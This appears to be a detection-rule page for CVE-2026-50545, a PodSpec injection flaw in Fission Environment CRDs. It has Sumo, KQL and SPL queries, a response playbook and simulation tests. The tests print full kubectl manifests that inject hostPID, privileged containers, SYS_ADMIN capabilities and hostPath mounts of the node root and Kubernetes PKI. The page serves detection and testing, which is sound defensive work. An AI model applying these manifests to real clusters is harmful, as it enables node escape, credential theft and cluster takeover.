Detect CVE-2026-50545: Fission Environment CRD PodSpec Injection in Sumo Logic CSE
Detects exploitation of CVE-2026-50545, a critical vulnerability in Fission serverless framework (<= 1.23.0) where an attacker with permissions to create or modify Fission Environment custom resources can inject arbitrary PodSpec fields, enabling node escape and full Kubernetes cluster takeover. The vulnerability stems from insufficient validation of user-supplied PodSpec in the Environment CRD, allowing privilege escalation via hostPID, hostNetwork, privileged containers, or volume mounts to sensitive node paths.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=kubernetes/audit OR _sourceCategory=k8s/audit
| json field=_raw "verb" as verb
| json field=_raw "objectRef.resource" as resource
| json field=_raw "objectRef.apiGroup" as api_group
| json field=_raw "objectRef.namespace" as namespace
| json field=_raw "user.username" as actor
| json field=_raw "sourceIPs[0]" as source_ip
| where verb in ("create", "update", "patch")
| where resource = "environments"
| where api_group = "fission.io" or namespace in ("fission", "fission-function", "fission-builder")
| where _raw matches "*hostPID*" or _raw matches "*hostNetwork*" or _raw matches "*\"privileged\":true*" or _raw matches "*hostPath*" or _raw matches "*\"allowPrivilegeEscalation\":true*" or _raw matches "*SYS_ADMIN*"
| parse regex field=_raw "(?P<risk_fields>(hostPID|hostNetwork|privileged|hostPath|allowPrivilegeEscalation|SYS_ADMIN|NET_ADMIN)+)" multi
| count as event_count by actor, source_ip, verb, namespace, risk_fields
| where event_count > 0
| sort by event_count descSumo Logic query detecting Fission Environment CRD modifications with dangerous PodSpec injection indicators. Parses Kubernetes audit logs for resource operations containing privilege-escalation fields. Fixed in v1.24.0.
Data Sources
Required Tables
False Positives & Tuning
- Authorized Fission administrators performing legitimate privileged environment setups
- Fission platform controllers performing automated environment reconciliation
- Dev/test clusters where security policies intentionally allow privileged workloads
- Vulnerability scanning or CRD auditing tools that read but do not modify environment resources
Other platforms for CVE-2026-50545
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Fission Environment CRD PodSpec Injection with hostPID
Expected signal: Kubernetes audit log records POST to /apis/fission.io/v1/namespaces/fission/environments with requestObject containing hostPID:true, hostNetwork:true, and privileged:true in SecurityContext
- Test 2Fission Environment CRD hostPath Volume Mount to Node Root
Expected signal: Kubernetes audit log entry for Environment CRD creation with requestObject volumes array containing hostPath entries for '/' and '/etc/kubernetes/pki'
- Test 3Fission Environment CRD Linux Capability Injection (SYS_ADMIN)
Expected signal: Kubernetes audit log POST to environments resource with requestObject.spec.runtime.podspec.containers[].securityContext.capabilities.add containing SYS_ADMIN, NET_ADMIN entries
- Test 4Enumerate Existing Fission Environments for Injected PodSpec Fields
Expected signal: Kubernetes audit log shows LIST/GET operations against environments resource in fission namespace; no write operations generated
References (8)
- https://github.com/fission/fission/security/advisories/GHSA-wmgg-3p4h-48x7
- https://nvd.nist.gov/vuln/detail/CVE-2026-50545
- https://github.com/fission/fission/pull/3390
- https://github.com/fission/fission/pull/3391
- https://github.com/fission/fission/commit/8fa799417c77ce8a0189d9858bfe11ece29b84a6
- https://github.com/fission/fission/commit/e484df8460bb4e8026e24210120602aa7f181f64
- https://github.com/fission/fission/releases/tag/v1.24.0
- https://github.com/advisories/GHSA-wmgg-3p4h-48x7
Response Playbook
Triage
- Identify the actor (username, service account, or IP) that created or modified the Fission Environment CRD and determine if it is an authorized Fission administrator or CI/CD service account.
- Extract the full requestObject from the Kubernetes audit log for the flagged environment CRD operation and inspect which specific PodSpec fields were injected (hostPID, hostNetwork, privileged, hostPath, capabilities).
- Check the Fission version running in the cluster using `kubectl get pods -n fission -o jsonpath='{.items[*].spec.containers[*].image}'` to confirm if the affected version (<= 1.23.0) is deployed, and whether the v1.24.0 patch is available for deployment.
- Determine if any function pods were spawned from the modified environment by running `kubectl get pods -n fission-function -l environmentName=<env_name>` and inspect their security context.
- Review RBAC permissions granted to the flagged actor using `kubectl auth can-i --list --as=<username>` to assess full blast radius of the account compromise.
Containment
- Immediately revoke or suspend the API credentials of the actor that performed the suspicious Environment CRD modification using `kubectl delete rolebinding <binding> -n fission` or disable the associated service account token.
- Delete or patch the malicious Fission Environment CRD to remove injected PodSpec fields: `kubectl patch environment <env_name> -n fission --type=json -p '[{"op":"remove","path":"/spec/runtime/podspec/hostPID"},{"op":"remove","path":"/spec/runtime/podspec/hostNetwork"}]'`
- Cordon and drain any nodes where function pods from the compromised environment were scheduled: `kubectl cordon <node>` followed by `kubectl drain <node> --ignore-daemonsets --delete-emptydir-data` to prevent further exploitation, then upgrade Fission to v1.24.0 or later before uncordoning.
Evidence Collection
- Capture full Kubernetes audit log entries for the 2-hour window around the incident: `kubectl logs -n kube-system -l component=kube-apiserver | grep -A20 'environments'` and preserve to a tamper-evident store.
- Collect pod specs and container security contexts for all function pods associated with the compromised environment: `kubectl get pod -n fission-function -o yaml > fission_pods_evidence.yaml`
- Preserve node-level forensic data including /proc/1/ns symlinks, /etc/kubernetes/pki contents, and kubelet configuration from any nodes where privileged fission pods executed.
Escalation Criteria
- !Escalate immediately to IR team if evidence shows a Fission function pod ran with hostPID=true, hostNetwork=true, or privileged=true and there is any indication of lateral movement to cluster control plane (etcd access, kube-apiserver direct calls from pod IP).
- !Escalate if the threat actor has accessed or exfiltrated cluster secrets (Kubernetes Secrets, service account tokens, or Vault credentials) from within a compromised Fission pod, indicating full cluster compromise has occurred.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Kubernetes audit log entries showing PATCH/PUT/POST to environments resource in fission.io API group with requestObject containing hostPID, hostNetwork, or privileged fields - >
Container runtime logs (containerd/CRI-O) showing pod creation with SecurityContext fields allowPrivilegeEscalation=true or privileged=true for fission-function namespace pods - >
Node-level artifacts: /proc/1/net/tcp showing unexpected connections from fission pod network namespace, or /proc/<pid>/root symlinks pointing outside container rootfs
Tuning Guidance
Reduce false positives by maintaining an allowlist of authorized Fission administrator service accounts and excluding their operations from alerting. Additionally, filter out Fission controller service accounts (fission-svc, fission-fetcher) that legitimately modify environment specs during reconciliation — capture their typical field modifications and exclude only those patterns. Increase confidence to 'high' for operations performed by accounts outside the authorized Fission operator namespace or from external IP addresses not matching your internal CIDR ranges. Prioritize alerting on clusters that have not yet upgraded to Fission v1.24.0, which contains the upstream fix rejecting these PodSpec fields at admission time. Consider implementing a Kubernetes admission webhook (OPA/Gatekeeper or Kyverno) policy to block dangerous PodSpec fields in Fission CRDs proactively, which would eliminate the class of vulnerability entirely and reduce detection reliance.
Hunting Queries
7-day retrospective hunt for any historical Fission Environment CRD modifications containing dangerous PodSpec fields that may have been missed or occurred before detection was deployed, and to confirm whether affected clusters have upgraded to the patched v1.24.0 release
KubeAuditAdminLogs
| where TimeGenerated > ago(7d)
| where Verb in ("create", "update", "patch")
| where ObjectRef has "environments"
| extend PodSpec = extract(@'"podspec":\s*\{([^}]+)\}', 1, tolower(tostring(RequestObject)))
| where PodSpec has_any ("hostpid", "hostnetwork", "hostipc", "privileged", "hostpath")
| summarize count() by User, ObjectRef, bin(TimeGenerated, 1h)
| order by count_ descindex=kubernetes sourcetype=kube:audit earliest=-7d
| spath input=_raw path=requestObject output=request_obj
| where match(lower(request_obj), "(hostpid|hostnetwork|hostipc|privileged|hostpath|sys_admin)")
| where match(_raw, "\"resource\":\"environments\"")
| stats count by user.username, objectRef.name, objectRef.namespace
| sort -countAtomic Red Team Tests
Creates a Fission Environment CRD with hostPID=true injected into the runtime PodSpec, simulating CVE-2026-50545 exploitation. This grants the function pod visibility into all host processes, enabling credential harvesting from host process memory.
Command
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
name: cve-2026-50545-test-hostpid
namespace: fission
spec:
version: 2
runtime:
image: fission/python-env:1.23.0
podspec:
hostPID: true
hostNetwork: true
containers:
- name: worker
image: fission/python-env:1.23.0
securityContext:
privileged: true
allowPrivilegeEscalation: true
EOFCleanup
kubectl delete environment cve-2026-50545-test-hostpid -n fission --ignore-not-found=trueExpected Telemetry
Kubernetes audit log records POST to /apis/fission.io/v1/namespaces/fission/environments with requestObject containing hostPID:true, hostNetwork:true, and privileged:true in SecurityContext
Expected Detection
Alert fires on KQL/SPL queries matching hostPID and privileged fields in Fission Environment CRD creation event with severity=critical
Injects a hostPath volume mount pointing to the node root filesystem (/) into a Fission Environment PodSpec. This simulates the path-traversal aspect of CVE-2026-50545 that enables reading sensitive node files like /etc/kubernetes/pki or kubelet credentials.
Command
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
name: cve-2026-50545-test-hostpath
namespace: fission
spec:
version: 2
runtime:
image: fission/python-env:1.23.0
podspec:
containers:
- name: worker
image: fission/python-env:1.23.0
volumeMounts:
- name: host-root
mountPath: /host
- name: host-pki
mountPath: /host-pki
volumes:
- name: host-root
hostPath:
path: /
type: Directory
- name: host-pki
hostPath:
path: /etc/kubernetes/pki
type: DirectoryOrCreate
EOFCleanup
kubectl delete environment cve-2026-50545-test-hostpath -n fission --ignore-not-found=trueExpected Telemetry
Kubernetes audit log entry for Environment CRD creation with requestObject volumes array containing hostPath entries for '/' and '/etc/kubernetes/pki'
Expected Detection
Detection fires on hostPath pattern match in Fission Environment creation, with hostPath values targeting sensitive node directories triggering high-confidence alert
Injects dangerous Linux capabilities (SYS_ADMIN, NET_ADMIN, SYS_PTRACE) into a Fission Environment PodSpec container securityContext. SYS_ADMIN is equivalent to near-root access and can be used for namespace escapes via user namespaces or cgroup exploitation.
Command
cat <<'EOF' | kubectl apply -f -
apiVersion: fission.io/v1
kind: Environment
metadata:
name: cve-2026-50545-test-caps
namespace: fission
spec:
version: 2
runtime:
image: fission/python-env:1.23.0
podspec:
containers:
- name: worker
image: fission/python-env:1.23.0
securityContext:
capabilities:
add:
- SYS_ADMIN
- NET_ADMIN
- SYS_PTRACE
- DAC_READ_SEARCH
allowPrivilegeEscalation: true
EOFCleanup
kubectl delete environment cve-2026-50545-test-caps -n fission --ignore-not-found=trueExpected Telemetry
Kubernetes audit log POST to environments resource with requestObject.spec.runtime.podspec.containers[].securityContext.capabilities.add containing SYS_ADMIN, NET_ADMIN entries
Expected Detection
Alert triggers on SYS_ADMIN and NET_ADMIN pattern match in Fission Environment CRD modification with critical severity classification
Passively enumerates all existing Fission Environment CRDs in the cluster to identify any environments already containing dangerous PodSpec fields, simulating post-compromise discovery or hunting for persistent implants left by prior exploitation of CVE-2026-50545.
Command
kubectl get environments -n fission -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
risk_fields = ['hostPID', 'hostNetwork', 'hostIPC', 'privileged', 'hostPath', 'allowPrivilegeEscalation', 'SYS_ADMIN', 'NET_ADMIN']
for item in data.get('items', []):
name = item['metadata']['name']
spec_str = json.dumps(item.get('spec', {}))
found = [f for f in risk_fields if f in spec_str]
if found:
print(f'RISK: Environment {name} contains: {found}')
else:
print(f'OK: Environment {name}')
"Cleanup
No cleanup required — this is a read-only enumerationExpected Telemetry
Kubernetes audit log shows LIST/GET operations against environments resource in fission namespace; no write operations generated
Expected Detection
Read-only enumeration does not trigger write-based detection rules; useful for validating that hunting queries correctly identify pre-existing malicious environments